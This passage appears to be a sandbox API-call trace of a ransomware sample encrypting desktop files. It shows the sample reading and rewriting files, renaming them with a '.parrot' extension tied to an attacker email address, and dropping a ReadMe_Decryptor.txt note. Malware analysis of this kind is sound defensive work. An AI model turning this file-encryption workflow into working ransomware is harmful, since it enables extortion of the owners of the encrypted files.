Flags=0x8, Size=0x4) returned 0x5d4ce0 [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0xb8) returned 0x5e9958 [0031.117] GetLastError () returned 0x0 [0031.117] SetLastError (dwErrCode=0x0) [0031.117] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6a6) returned 0x5cabe0 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0031.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c00 | out: hHeap=0x5b0000) returned 1 [0031.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4ce0 | out: hHeap=0x5b0000) returned 1 [0031.118] GetLastError () returned 0x0 [0031.118] SetLastError (dwErrCode=0x0) [0031.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4ce0 [0031.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0031.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49b0 | out: hHeap=0x5b0000) returned 1 [0031.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49b0 [0031.118] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.207] lstrcmpW (lpString1="11V_r.bmp", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11V_r.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\11v_r.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.207] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x9aed [0031.207] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9c05, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.207] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.207] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.207] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.207] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9aed, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x9aed, lpOverlapped=0x0) returned 1 [0031.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.208] GetLastError () returned 0x0 [0031.208] SetLastError (dwErrCode=0x0) [0031.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.208] GetLastError () returned 0x0 [0031.208] SetLastError (dwErrCode=0x0) [0031.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.208] GetLastError () returned 0x0 [0031.208] SetLastError (dwErrCode=0x0) [0031.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0031.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606998 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.224] GetLastError () returned 0x0 [0031.224] SetLastError (dwErrCode=0x0) [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.224] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.225] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0031.226] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0031.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.226] WriteFile (in: hFile=0x258, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x9c08, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x9c08, lpOverlapped=0x0) returned 1 [0031.227] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.228] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9c05, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.228] CloseHandle (hObject=0x258) returned 1 [0031.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b478 [0031.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x601838 [0031.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.229] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11V_r.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\11v_r.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11V_r.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\11v_r.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.230] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.232] GetFileType (hFile=0x258) returned 0x1 [0031.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.242] lstrcmpW (lpString1="3aRPh8r.flv", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3aRPh8r.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3arph8r.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.242] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x146af [0031.242] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x147c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.242] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.242] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.242] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.243] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x146af, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x146af, lpOverlapped=0x0) returned 1 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.243] GetLastError () returned 0x0 [0031.243] SetLastError (dwErrCode=0x0) [0031.243] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.243] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.244] GetLastError () returned 0x0 [0031.244] SetLastError (dwErrCode=0x0) [0031.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.244] GetLastError () returned 0x0 [0031.244] SetLastError (dwErrCode=0x0) [0031.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.244] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.244] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.245] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0031.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20033) returned 0x6452d8 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf) returned 0x6069b0 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.333] GetLastError () returned 0x0 [0031.333] SetLastError (dwErrCode=0x0) [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.333] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.333] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.334] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 